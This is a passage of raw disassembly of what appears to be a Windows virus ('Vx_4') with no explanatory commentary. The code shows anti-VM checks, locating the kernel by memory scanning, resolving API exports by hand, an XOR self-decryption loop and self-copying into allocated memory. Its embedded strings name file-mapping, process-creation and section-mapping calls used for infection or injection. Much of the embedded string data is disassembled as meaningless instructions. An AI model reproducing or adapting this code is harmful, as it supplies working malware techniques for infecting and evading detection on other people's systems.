[esp+4] jz short loc_3151B151 pop ecx mov [eax+3307h], esi mov cl, [eax+29BFh] mov [eax+330Bh], edi cmp cl, 0E8h jz short loc_3151B145 mov ebx, [eax+29C1h] jmp short loc_3151B14F ; --------------------------------------------------------------------------- loc_3151B145: ; CODE XREF: sub_3151B104+37j mov ecx, [eax+29C0h] mov ebx, [ecx+ebx+2] loc_3151B14F: ; CODE XREF: sub_3151B104+3Fj mov ebx, [ebx] loc_3151B151: ; CODE XREF: sub_3151B104+1Fj push ebp mov ebp, eax sub dword ptr [esp+4], 11F09h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+1039CCh] mov ecx, 0 rep movsb sldt cx test ecx, ecx jnz short loc_3151B17F or eax, 0FFFFFFFFh int 2Eh ; DOS 2+ internal - EXECUTE COMMAND ; DS:SI -> counted CR-terminated command string loc_3151B17F: ; CODE XREF: sub_3151B104+74j and ebx, 0FFFFF000h loc_3151B185: ; CODE XREF: sub_3151B104+90j cmp dword ptr [ebx+4Eh], 73696854h jz short loc_3151B196 loc_3151B18E: ; CODE XREF: sub_3151B104+9Fj sub ebx, 100h jnz short loc_3151B185 loc_3151B196: ; CODE XREF: sub_3151B104+88j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3151B18E add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_3151B1B0: ; CODE XREF: sub_3151B104:loc_3151B1C4j lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_3151B1C4 cmp dword ptr [eax+5], 6441636Fh jz short loc_3151B1C9 loc_3151B1C4: ; CODE XREF: sub_3151B104+B5j loop loc_3151B1B0 pop ecx jmp short loc_3151B1F4 ; --------------------------------------------------------------------------- loc_3151B1C9: ; CODE XREF: sub_3151B104+BEj sub [esp+8+var_8], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+101137h] lea ecx, [ebp+101120h] mov dx, [eax-19h] call ecx jmp short loc_3151B23B sub_3151B104 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3151B282 loc_3151B1F4: ; CODE XREF: sub_3151B104+C3j ; sub_3151B282+10j ... mov eax, [ebp+1039C0h] and eax, 400000h jz short loc_3151B220 lea esi, [ebp+1039C4h] lodsd mov edi, [esp+arg_0] stosd mov ebx, [ebp+104308h] movsb mov edi, [ebp+104310h] mov esi, [ebp+10430Ch] loc_3151B220: ; CODE XREF: sub_3151B282-83j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_3151B282 ; --------------------------------------------------------------------------- and al, 0C0h ; =============== S U B R O U T I N E ======================================= sub_3151B224 proc near ; CODE XREF: sub_3151D55F+2DFp push ebx mov ecx, 2889h mov ebx, edx loc_3151B22C: ; CODE XREF: sub_3151B224+13j xor [eax], dl sub dl, bl add eax, 1 xchg bl, bh xchg dl, dh loop loc_3151B22C pop ebx retn sub_3151B224 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3151B104 loc_3151B23B: ; CODE XREF: sub_3151B104+EEj call near ptr loc_3151B24A+2 inc ebx insb outsd jnb short near ptr loc_3151B2A7+3 dec eax popa outsb db 64h insb loc_3151B24A: ; CODE XREF: sub_3151B104:loc_3151B23Bp add gs:[ebx-1], dl setalc mov [ebp+103E62h], eax call near ptr loc_3151B266+1 inc ebx jb short loc_3151B2C2 popa jz short near ptr loc_3151B2C4+1 inc ebp jbe short near ptr loc_3151B2C4+4 outsb jz short loc_3151B2A7 loc_3151B266: ; CODE XREF: sub_3151B104+151p add [ebx-1], dl setalc mov [ebp+103E66h], eax call sub_3151B282 inc edi db 65h jz short near ptr loc_3151B2C4+1 popa jnb short near ptr loc_3151B2EE+2 inc ebp jb short near ptr loc_3151B2EE+3 outsd jb short $+2 ; END OF FUNCTION CHUNK FOR sub_3151B104 ; =============== S U B R O U T I N E ======================================= sub_3151B282 proc near ; CODE XREF: sub_3151B104+16Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 3151B1F4 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 3151B638 SIZE 0000000B BYTES push ebx call esi ; rand mov [ebp+103E6Ah], eax call sub_3151B663 test eax, eax jz loc_3151B1F4 push eax call dword ptr [ebp+103E6Ah] test eax, eax jnz loc_3151B638 loc_3151B2A7: ; CODE XREF: sub_3151B104+160j ; sub_3151B104+13Fj cmp byte ptr [ebp+10153Fh], 1 jnz short loc_3151B2C4 push dword ptr [ebp+104308h] dec byte ptr [ebp+10153Fh] pop dword ptr [ebp+101598h] loc_3151B2C2: ; CODE XREF: sub_3151B104+157j jmp short loc_3151B2CB ; --------------------------------------------------------------------------- loc_3151B2C4: ; CODE XREF: sub_3151B282+2Cj ; sub_3151B104+15Aj ... and dword ptr [ebp+101598h], 0 loc_3151B2CB: ; CODE XREF: sub_3151B282:loc_3151B2C2j and dword ptr [ebp+101588h], 0 and dword ptr [ebp+10158Ch], 0 and dword ptr [ebp+101590h], 0 push edi mov byte ptr [ebp+1012D4h], 1 mov [ebp+103E6Eh], esi loc_3151B2EE: ; CODE XREF: sub_3151B104+176j ; sub_3151B104+179j lea esi, [ebp+101604h] xor ecx, ecx lea edi, [ebp+103E7Ah] mov cl, 20h call sub_3151B6A0 pop edi call dword ptr [ebp+103EBAh] shr eax, 1Fh jz loc_3151B3E7 mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+103E72h], eax push 7328h push 0 call dword ptr [ebp+103EF2h] test eax, eax jz loc_3151B638 xchg eax, edi lea esi, [ebp+101000h] mov ebp, edi mov ecx, 0CCAh sub ebp, 101000h lea edx, [ebp+101254h] rep movsd jmp edx ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+101B4Dh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+103E72h] add esp, 20h test eax, eax jz loc_3151B638 xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+103E72h] test eax, eax jz loc_3151B638 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+103E72h] push 1000Ah call dword ptr [ebp+103E72h] call loc_3151B3D7 jmp loc_3151B638 ; --------------------------------------------------------------------------- loc_3151B3D7: ; CODE XREF: sub_3151B282+14Bp ; sub_3151B282+162j push 1 pop ecx jecxz short locret_3151B3E6 push 0Ah call dword ptr [ebp+103EE6h] jmp short loc_3151B3D7 ; --------------------------------------------------------------------------- locret_3151B3E6: ; CODE XREF: sub_3151B282+158j retn ; --------------------------------------------------------------------------- loc_3151B3E7: ; CODE XREF: sub_3151B282+8Bj cmp dword ptr [ebp+103E92h], 0 jz loc_3151B638 call near ptr loc_3151B3FE+1 dec esi push esp inc esp dec esp dec esp loc_3151B3FE: ; CODE XREF: sub_3151B282+172p add bh, bh sub_3151B282 endp ; sp-analysis failed xchg eax, ebp scasb db 3Eh adc [eax], al lea esi, [ebp+1017DEh] xor ecx, ecx lea edi, [ebp+103EFAh] mov cl, 0Eh xchg eax, ebx call sub_3151B6A0 cmp dword ptr [ebp+103F2Eh], 0 jz loc_3151B638 mov eax, [ebp+103EFEh] push dword ptr [eax+1] pop dword ptr [ebp+103917h] mov eax, [ebp+103F16h] push dword ptr [eax+1] pop dword ptr [ebp+103964h] mov eax, [ebp+103F02h] push dword ptr [eax+1] pop dword ptr [ebp+10396Bh] cmp dword ptr [ebp+10396Bh], 10000h jnb loc_3151B638 mov ecx, [ebp+103F06h] jecxz short loc_3151B487 push dword ptr [ecx+1] pop dword ptr [ebp+103978h] mov ecx, [ebp+103F0Eh] jecxz short loc_3151B487 push dword ptr [ecx+1] pop dword ptr [ebp+103985h] loc_3151B487: ; CODE XREF: UPX2:3151B46Bj ; UPX2:3151B47Cj call sub_3151B644 lea edi, [ebp+103F84h] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+1015EBh] mov ecx, 19h lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah lea edx, [ebp+103E30h] loc_3151B4D0: ; CODE XREF: UPX2:3151B4D9j lodsb mov [edx], ax stosw add edx, 2 loop loc_3151B4D0 mov edx, esp push 0 push 7328h mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+103F0Ah] pop eax add esp, 40h push 7328h mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 7328h push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+103F12h] pop edi pop ecx test edi, edi jz loc_3151B638 lea esi, [ebp+101000h] mov ecx, 0CCAh mov ebp, edi rep movsd sub ebp, 101000h lea eax, [ebp+10144Ah] jmp eax ; --------------------------------------------------------------------------- dw 5450h dd 0FF6A206Ah, 3F1A95FFh, 0C0850010h, 0E834755Fh, 14Fh dd 11E8h, 44655300h, 67756265h, 76697250h, 67656C69h, 0E8570065h dd 550h, 4288B5FFh, 95FF0010h, 103E9Eh, 6295FF57h, 6A00103Eh dd 0FF026A00h, 103E9295h, 128B900h, 2B970000h, 240C89E1h dd 95FF5754h, 103ED6h, 0A583F633h, 103F72h, 0FF575400h dd 103EDA95h, 74C08500h, 0FE834666h, 0FFEE7204h, 6A082474h dd 0FF2A6A00h, 103ED295h, 74C08500h, 88E893DCh, 33000005h dd 3AE391C9h, 3F728539h, 32750010h, 24247C81h, 73727363h dd 0C1812874h, 0EAFh, 56505450h, 53505051h, 3E8A95FFh dd 0C0850010h, 0FF0F7459h, 8F082474h, 103F7285h, 0FDB5E800h dd 0FF53FFFFh, 103E6295h, 818EEB00h, 128C4h, 95FF5700h dd 103E62h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3151B282 loc_3151B638: ; CODE XREF: sub_3151B282+1Fj ; sub_3151B282+B2j ... call dword ptr [ebp+103E62h] jmp loc_3151B1F4 ; END OF FUNCTION CHUNK FOR sub_3151B282 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_3151B644 proc near ; CODE XREF: UPX2:loc_3151B487p ; sub_3151B663+2p pop edx push 0 push 0 push 0 push 0 push 40001h mov eax, esp push 0 push eax push 0Ch mov eax, esp jmp edx sub_3151B644 endp ; --------------------------------------------------------------------------- aVx_4_1 db 'Vx_4',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_3151B663 proc near ; CODE XREF: sub_3151B282+9p xor ecx, ecx call sub_3151B644 lea edx, [ebp+101559h] push edx push ecx push ecx push eax call dword ptr [ebp+103E66h] add esp, 20h retn sub_3151B663 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 585858h, 3328h, 0E73h, 3 dup(0) dd 29C0h, 0 ; =============== S U B R O U T I N E ======================================= sub_3151B6A0 proc near ; CODE XREF: sub_3151B282+7Cp ; UPX2:3151B416p ... push ecx push esi push ebx call dword ptr [ebp+103E6Eh] stosd pop ecx loc_3151B6AB: ; CODE XREF: sub_3151B6A0+Ej lodsb test al, al jnz short loc_3151B6AB loop sub_3151B6A0 retn sub_3151B6A0 endp ; =============== S U B R O U T I N E ======================================= sub_3151B6B3 proc near ; CODE XREF: sub_3151D231+25p ; FUNCTION CHUNK AT 3151B73D SIZE 000003C0 BYTES ; FUNCTION CHUNK AT 3151BB0D SIZE 00000027 BYTES lea edx, [ebp+101985h] push edx call dword ptr [ebp+103EC6h] mov [ebp+104288h], eax call near ptr loc_3151B6E0+1 dec esp outsd outsd imul esi, [ebp+70h], 50h jb short loc_3151B73D jbe short near ptr loc_3151B73D+2 insb db 65h, 67h, 65h push esi popa insb jnz short loc_3151B744 inc ecx loc_3151B6E0: ; CODE XREF: sub_3151B6B3+13p add [eax-1], dl sub_3151B6B3 endp ; sp-analysis failed xchg eax, ebp outsb db 3Eh adc [eax], al mov [ebp+10428Ch], eax retn ; --------------------------------------------------------------------------- db 5Ch ; \ db 42h ; B db 61h ; a db 73h ; s db 65h ; e db 4Eh ; N db 61h ; a db 6Dh ; m db 65h ; e db 64h ; d db 4Fh ; O db 62h ; b db 6Ah ; j db 65h ; e db 63h ; c db 74h ; t db 73h ; s db 5Ch ; \ db 56h ; V db 74h ; t db 53h ; S db 65h ; e db 63h ; c db 74h ; t db 0 db 6Ch ; l db 73h ; s db 74h ; t db 72h ; r db 6Ch ; l db 65h ; e db 6Eh ; n db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 41h ; A db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 4Dh ; M db 61h ; a db 70h ; p db 70h ; p db 69h ; i db 6Eh ; n db 67h ; g db 41h ; A db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 50h ; P db 72h ; r db 6Fh ; o db 63h ; c db 65h ; e db 73h ; s db 73h ; s db 41h ; A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3151B6B3 loc_3151B73D: ; CODE XREF: sub_3151B6B3+1Fj ; sub_3151B6B3+21j add [ebx+72h], al db 65h popa jz short near ptr loc_3151B7A7+2 loc_3151B744: ; CODE XREF: sub_3151B6B3+2Aj push edx db 65h insd outsd jz short loc_3151B7AF push esp push 64616572h add [ebx+72h], al db 65h popa jz short near ptr loc_3151B7BA+2 push esp push 64616572h add [ebx+72h], al db 65h popa jz short near ptr loc_3151B7C6+3 push esp outsd outsd insb push 33706C65h xor dl, [ebx+6Eh] popa jo short near ptr loc_3151B7E5+1 push 4500746Fh js short loc_3151B7E3 jz short near ptr loc_3151B7CF+1 push 64616572h add [esi+69h], al insb db 65h push esp imul ebp, [ebp+65h], 79536F54h jnb short loc_3151B804 db 65h insd push esp imul ebp, [ebp+65h], 65724600h db 65h dec esp imul esp, [edx+72h], 797261h inc edi db 65h jz short near ptr loc_3151B7E7+6 loc_3151B7A7: ; CODE XREF: sub_3151B6B3+8Fj imul ebp, [ebp+41h], 69727474h loc_3151B7AF: ; CODE XREF: sub_3151B6B3+95j bound esi, [ebp+74h] db 65h jnb short loc_3151B7F6 add [edi+65h], al jz short near ptr loc_3151B7FF+1 loc_3151B7BA: ; CODE XREF: sub_3151B6B3+A2j imul ebp, [ebp+53h], 657A69h inc edi db 65h jz short loc_3151B80C loc_3151B7C6: ; CODE XREF: sub_3151B6B3+AFj imul ebp, [ebp+54h], 656D69h inc edi loc_3151B7CF: ; CODE XREF: sub_3151B6B3+C7j db 65h jz short near ptr loc_3151B81E+1 outsd db 64h jnz short near ptr loc_3151B83D+5 db 65h dec eax popa outsb db 64h insb db 65h inc ecx add [edi+65h], al jz short near ptr loc_3151B831+6 loc_3151B7E3: ; CODE XREF: sub_3151B6B3+C5j db 65h insd loc_3151B7E5: ; CODE XREF: sub_3151B6B3+BEj jo short near ptr loc_3151B82B+2 loc_3151B7E7: ; CODE XREF: sub_3151B6B3+F1j imul ebp, [ebp+4Eh], 41656D61h add [edi+65h], al jz short near ptr loc_3151B845+3 db 65h insd loc_3151B7F6: ; CODE XREF: sub_3151B6B3+FFj jo short near ptr loc_3151B845+3 popa jz short near ptr loc_3151B862+1 inc ecx add [edi+65h], al loc_3151B7FF: ; CODE XREF: sub_3151B6B3+105j jz short loc_3151B857 db 65h jb short near ptr loc_3151B876+1 loc_3151B804: ; CODE XREF: sub_3151B6B3+DBj imul ebp, [edi+6Eh], 74654700h push esi loc_3151B80C: ; CODE XREF: sub_3151B6B3+110j db 65h jb short near ptr loc_3151B880+2 imul ebp, [edi+6Eh], 417845h inc edi db 65h jz short near ptr loc_3151B86F+1 outsd insb jnz short near ptr loc_3151B885+6 loc_3151B81E: ; CODE XREF: sub_3151B6B3:loc_3151B7CFj db 65h dec ecx outsb outsw jb short near ptr loc_3151B890+2 popa jz short near ptr loc_3151B890+1 outsd outsb inc ecx loc_3151B82B: ; CODE XREF: sub_3151B6B3:loc_3151B7E5j add [edi+ebp*2+61h], cl db 64h dec esp loc_3151B831: ; CODE XREF: sub_3151B6B3+12Ej imul esp, [edx+72h], 41797261h add [ebp+61h], cl jo short loc_3151B893 loc_3151B83D: ; CODE XREF: sub_3151B6B3+120j imul esp, [ebp+77h], 6946664Fh insb loc_3151B845: ; CODE XREF: sub_3151B6B3+13Fj ; sub_3151B6B3:loc_3151B7F6j add gs:[edi+70h], cl outs dx, byte ptr gs:[esi] inc esi imul ebp, [ebp+4Dh], 69707061h outsb db 67h inc ecx loc_3151B857: ; CODE XREF: sub_3151B6B3:loc_3151B7FFj add [edi+70h], cl outs dx, byte ptr gs:[esi] push eax jb short near ptr loc_3151B8CD+1 arpl [ebp+73h], sp loc_3151B862: ; CODE XREF: sub_3151B6B3+146j jnb short $+2 push eax jb short loc_3151B8D6 arpl [ebp+73h], sp jnb short near ptr loc_3151B898+7 xor al, [esi+69h] loc_3151B86F: ; CODE XREF: sub_3151B6B3+164j jb short near ptr loc_3151B8DE+6 jz short $+2 push eax jb short near ptr loc_3151B8DE+7 loc_3151B876: ; CODE XREF: sub_3151B6B3+14Ej arpl [ebp+73h], sp jnb short near ptr loc_3151B8AD+1 xor cl, [esi+65h] js short near ptr loc_3151B8F0+4 loc_3151B880: ; CODE XREF: sub_3151B6B3:loc_3151B80Cj add [ebx+65h], dl jz short near ptr loc_3151B8C9+2 loc_3151B885: ; CODE XREF: sub_3151B6B3+169j imul ebp, [ebp+41h], 69727474h bound esi, [ebp+74h] loc_3151B890: ; CODE XREF: sub_3151B6B3+173j ; sub_3151B6B3+170j db 65h jnb short loc_3151B8D4 loc_3151B893: ; CODE XREF: sub_3151B6B3+188j add [ebx+65h], dl jz short loc_3151B8DE loc_3151B898: ; CODE XREF: sub_3151B6B3+1B7j imul ebp, [ebp+54h], 656D69h push ebx insb db 65h, 65h jo short $+4 push ebx jns short loc_3151B91C jz short loc_3151B910 insd push esp loc_3151B8AD: ; CODE XREF: sub_3151B6B3+1C6j imul ebp, [ebp+65h], 69466F54h insb db 65h push esp imul ebp, [ebp+65h], 6D6E5500h popa jo short loc_3151B917 imul esp, [ebp+77h], 6946664Fh insb loc_3151B8C9: ; CODE XREF: sub_3151B6B3+1D0j add gs:[esi+69h], dl loc_3151B8CD: ; CODE XREF: sub_3151B6B3+1AAj jb short near ptr loc_3151B942+1 jnz short loc_3151B932 insb inc ecx insb loc_3151B8D4: ; CODE XREF: sub_3151B6B3:loc_3151B890j insb outsd loc_3151B8D6: ; CODE XREF: sub_3151B6B3+1B2j arpl [eax], ax push edi jb short loc_3151B944 jz short loc_3151B942 inc esi loc_3151B8DE: ; CODE XREF: sub_3151B6B3+1E3j ; sub_3151B6B3:loc_3151B86Fj ... imul ebp, [ebp+0], 6441744Eh push 75h jnb short loc_3151B95E push eax jb short near ptr loc_3151B953+3 jbe short near ptr loc_3151B953+5 insb loc_3151B8F0: ; CODE XREF: sub_3151B6B3+1CBj db 65h, 67h, 65h jnb near ptr 0B949h outsd imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3151B93F+1 jb short near ptr loc_3151B963+1 popa jz short loc_3151B967 inc esi imul ebp, [ebp+0], 7243744Eh db 65h popa jz short loc_3151B974 push eax loc_3151B910: ; CODE XREF: sub_3151B6B3+1F6j jb short loc_3151B981 arpl [ebp+73h], sp jnb short $+2 loc_3151B917: ; CODE XREF: sub_3151B6B3+20Cj dec esi jz short near ptr loc_3151B95A+3 jb short loc_3151B981 loc_3151B91C: ; CODE XREF: sub_3151B6B3+1F4j popa jz short loc_3151B984 push eax jb short loc_3151B991 arpl [ebp+73h], sp jnb short near ptr loc_3151B967+5 js short $+2 dec esi jz short loc_3151B96F jb short loc_3151B993 popa jz short near ptr loc_3151B993+3 push ebx loc_3151B932: ; CODE XREF: sub_3151B6B3+21Cj arpl gs:[ecx+ebp*2+6Fh], si outsb add [esi+74h], cl inc ebx jb short near ptr loc_3151B9A2+1 popa loc_3151B93F: ; CODE XREF: sub_3151B6B3+248j jz short loc_3151B9A6 push ebp loc_3151B942: ; CODE XREF: sub_3151B6B3+228j ; sub_3151B6B3:loc_3151B8CDj jnb short near ptr loc_3151B9A8+1 loc_3151B944: ; CODE XREF: sub_3151B6B3+226j jb short near ptr loc_3151B993+3 jb short loc_3151B9B7 arpl [ebp+73h], sp jnb short $+2 dec esi jz short loc_3151B99D popa jo short near ptr loc_3151B9A8+1 loc_3151B953: ; CODE XREF: sub_3151B6B3+238j ; sub_3151B6B3+23Aj imul esp, [ebp+77h], 6553664Fh loc_3151B95A: ; CODE XREF: sub_3151B6B3+265j arpl [ecx+ebp*2+6Fh], si loc_3151B95E: ; CODE XREF: sub_3151B6B3+235j outsb add [esi+74h], cl dec edi loc_3151B963: ; CODE XREF: sub_3151B6B3+24Aj jo short loc_3151B9CA outsb inc esi loc_3151B967: ; CODE XREF: sub_3151B6B3+24Dj ; sub_3151B6B3+272j imul ebp, [ebp+0], 704F744Eh loc_3151B96F: ; CODE XREF: sub_3151B6B3+277j outs dx, byte ptr gs:[esi] push eax jb short loc_3151B9E3 loc_3151B974: ; CODE XREF: sub_3151B6B3+25Aj arpl [ebp+73h], sp jnb short loc_3151B9CD outsd imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3151B9CF+1 loc_3151B981: ; CODE XREF: sub_3151B6B3:loc_3151B910j ; sub_3151B6B3+267j jo short near ptr loc_3151B9E7+1 outsb loc_3151B984: ; CODE XREF: sub_3151B6B3+26Aj push ebx arpl gs:[ecx+ebp*2+6Fh], si outsb add [esi+74h], cl push eax jb short near ptr loc_3151B9FF+1 loc_3151B991: ; CODE XREF: sub_3151B6B3+26Dj jz short near ptr loc_3151B9F7+1 loc_3151B993: ; CODE XREF: sub_3151B6B3+279j ; sub_3151B6B3+27Cj ... arpl [esi+edx*2+69h], si jb short loc_3151BA0D jnz short near ptr loc_3151B9FB+1 insb dec ebp loc_3151B99D: ; CODE XREF: sub_3151B6B3+29Bj db 65h insd outsd jb short near ptr loc_3151BA18+3 loc_3151B9A2: ; CODE XREF: sub_3151B6B3+289j add [esi+74h], cl push ecx loc_3151B9A6: ; CODE XREF: sub_3151B6B3:loc_3151B93Fj jnz short loc_3151BA0D loc_3151B9A8: ; CODE XREF: sub_3151B6B3:loc_3151B942j ; sub_3151B6B3+29Ej jb short near ptr loc_3151BA22+1 dec ecx outsb outsw jb short near ptr loc_3151BA1C+1 popa jz short loc_3151BA1C outsd outsb push esp outsd loc_3151B9B7: ; CODE XREF: sub_3151B6B3+293j imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3151BA13+2 jb short loc_3151BA29 jz short near ptr loc_3151BA26+1 push esi imul esi, [edx+74h], 4D6C6175h loc_3151B9CA: ; CODE XREF: sub_3151B6B3:loc_3151B963j db 65h insd outsd loc_3151B9CD: ; CODE XREF: sub_3151B6B3+2C4j jb short loc_3151BA48 loc_3151B9CF: ; CODE XREF: sub_3151B6B3+2CCj add [edx+74h], dl insb push ebp outsb imul esp, [ebx+6Fh], 74536564h jb short near ptr loc_3151BA45+2 outsb db 67h push esp outsd inc ecx loc_3151B9E3: ; CODE XREF: sub_3151B6B3+2BFj outsb jnb short near ptr loc_3151BA4E+1 push ebx loc_3151B9E7: ; CODE XREF: sub_3151B6B3:loc_3151B981j jz short loc_3151BA5B imul ebp, [esi+67h], 41535700h push ebx jz short loc_3151BA54 jb short loc_3151BA69 jnz short near ptr loc_3151BA66+1 loc_3151B9F7: ; CODE XREF: sub_3151B6B3:loc_3151B991j add [ebx+6Ch], ah outsd loc_3151B9FB: ; CODE XREF: sub_3151B6B3+2E6j jnb short loc_3151BA62 jnb short near ptr loc_3151BA6D+1 loc_3151B9FF: ; CODE XREF: sub_3151B6B3+2DCj arpl [ebx+65h], bp jz short $+2 arpl [edi+6Eh], bp outsb arpl gs:[eax+eax+67h], si loc_3151BA0D: ; CODE XREF: sub_3151B6B3+2E4j ; sub_3151B6B3:loc_3151B9A6j db 65h jz short near ptr loc_3151BA77+1 outsd jnb short near ptr loc_3151BA85+2 loc_3151BA13: ; CODE XREF: sub_3151B6B3+309j bound edi, [ecx+6Eh] popa insd loc_3151BA18: ; CODE XREF: sub_3151B6B3+2EDj add gs:[edx+65h], dh loc_3151BA1C: ; CODE XREF: sub_3151B6B3+2FEj ; sub_3151B6B3+2FBj arpl [esi+0], si jnb short near ptr loc_3151BA85+1 outsb loc_3151BA22: ; CODE XREF: sub_3151B6B3:loc_3151B9A8j add fs:[ebx+6Fh], dh loc_3151BA26: ; CODE XREF: sub_3151B6B3+30Dj arpl [ebx+65h], bp loc_3151BA29: ; CODE XREF: sub_3151B6B3+30Bj jz short $+2 dec ecx outsb jz short loc_3151BA94 jb short loc_3151BA9F db 65h jz short loc_3151BA77 insb outsd jnb short near ptr loc_3151BA9C+1 dec eax popa outsb db 64h insb add gs:[ecx+6Eh], cl jz short loc_3151BAA8 jb short near ptr loc_3151BAB2+1 loc_3151BA45: ; CODE XREF: sub_3151B6B3+329j db 65h jz short loc_3151BA8F loc_3151BA48: ; CODE XREF: sub_3151B6B3:loc_3151B9CDj db 65h jz short loc_3151BA8E outsd outsb outsb loc_3151BA4E: ; CODE XREF: sub_3151B6B3+331j arpl gs:[ebp+64h], si push ebx loc_3151BA54: ; CODE XREF: sub_3151B6B3+33Ej jz short near ptr loc_3151BAB6+1 jz short loc_3151BABD add [ecx+6Eh], cl loc_3151BA5B: ; CODE XREF: sub_3151B6B3:loc_3151B9E7j jz short near ptr loc_3151BAC0+2 jb short loc_3151BACD db 65h jz short near ptr loc_3151BAAF+2 loc_3151BA62: ; CODE XREF: sub_3151B6B3:loc_3151B9FBj jo short loc_3151BAC9 outsb inc ecx loc_3151BA66: ; CODE XREF: sub_3151B6B3+342j add [ecx+6Eh], cl loc_3151BA69: ; CODE XREF: sub_3151B6B3+340j jz short near ptr loc_3151BACF+1 jb short loc_3151BADB loc_3151BA6D: ; CODE XREF: sub_3151B6B3+34Aj db 65h jz short near ptr loc_3151BABE+1 jo short loc_3151BAD7 outsb push ebp jb short near ptr loc_3151BAE0+2 inc ecx loc_3151BA77: ; CODE XREF: sub_3151B6B3+37Ej ; sub_3151B6B3:loc_3151BA0Dj add [ecx+6Eh], cl jz short near ptr loc_3151BAE0+1 jb short loc_3151BAEC db 65h jz short near ptr loc_3151BAD2+1 db 65h popa db 64h inc esi loc_3151BA85: ; CODE XREF: sub_3151B6B3+36Cj ; sub_3151B6B3+35Ej imul ebp, [ebp+0], 41564441h push eax loc_3151BA8E: ; CODE XREF: sub_3151B6B3:loc_3151BA48j dec ecx loc_3151BA8F: ; CODE XREF: sub_3151B6B3:loc_3151BA45j xor esi, [edx] db 2Eh inc esp dec esp loc_3151BA94: ; CODE XREF: sub_3151B6B3+37Aj dec esp add [edx+65h], dl db 67h inc ebx insb outsd loc_3151BA9C: ; CODE XREF: sub_3151B6B3+383j jnb short near ptr loc_3151BB01+2 dec ebx loc_3151BA9F: ; CODE XREF: sub_3151B6B3+37Cj db 65h jns short $+3 push edx db 65h, 67h dec edi jo short loc_3151BB0D loc_3151BAA8: ; CODE XREF: sub_3151B6B3+38Ej outsb dec ebx db 65h jns short near ptr loc_3151BAF0+2 js short loc_3151BAF0 loc_3151BAAF: ; CODE XREF: sub_3151B6B3+3ACj add [edx+65h], dl loc_3151BAB2: ; CODE XREF: sub_3151B6B3+390j db 67h push ecx jnz short loc_3151BB1B loc_3151BAB6: ; CODE XREF: sub_3151B6B3:loc_3151BA54j jb short near ptr loc_3151BB30+1 push esi popa insb jnz short near ptr loc_3151BB21+1 loc_3151BABD: ; CODE XREF: sub_3151B6B3+3A3j inc ebp loc_3151BABE: ; CODE XREF: sub_3151B6B3:loc_3151BA6Dj js short loc_3151BB01 loc_3151BAC0: ; CODE XREF: sub_3151B6B3:loc_3151BA5Bj add [edx+65h], dl db 67h push ebx db 65h jz short loc_3151BB1E popa loc_3151BAC9: ; CODE XREF: sub_3151B6B3:loc_3151BA62j insb jnz short near ptr loc_3151BB30+1 inc ebp loc_3151BACD: ; CODE XREF: sub_3151B6B3+3AAj js short loc_3151BB10 loc_3151BACF: ; CODE XREF: sub_3151B6B3:loc_3151BA69j add [esi+33h], dl loc_3151BAD2: ; CODE XREF: sub_3151B6B3+3CBj imul byte ptr [edx+2] push esi push esi loc_3151BAD7: ; CODE XREF: sub_3151B6B3+3BDj mov edx, esp push 1 loc_3151BADB: ; CODE XREF: sub_3151B6B3+3B8j push edx push dword ptr [edx+18h] push esi loc_3151BAE0: ; CODE XREF: sub_3151B6B3+3C7j ; sub_3151B6B3+3C1j call dword ptr [ebp+10428Ch] mov eax, esp push esi push esi push esi push eax loc_3151BAEC: ; CODE XREF: sub_3151B6B3+3C9j push esi push dword ptr [eax+18h] loc_3151BAF0: ; CODE XREF: sub_3151B6B3+3FAj ; sub_3151B6B3+3F7j call dword ptr [ebp+103EFAh] add esp, 10h pop esi retn 8 ; END OF FUNCTION CHUNK FOR sub_3151B6B3 ; --------------------------------------------------------------------------- db 8Dh ; db 49h ; I db 0FBh ; db 2Bh ; + ; --------------------------------------------------------------------------- loc_3151BB01: ; CODE XREF: sub_3151B6B3:loc_3151BABEj ; sub_3151B6B3:loc_3151BA9Cj enter 6851h, 0 ; --------------------------------------------------------------------------- db 0 db 0 db 0E8h ; db 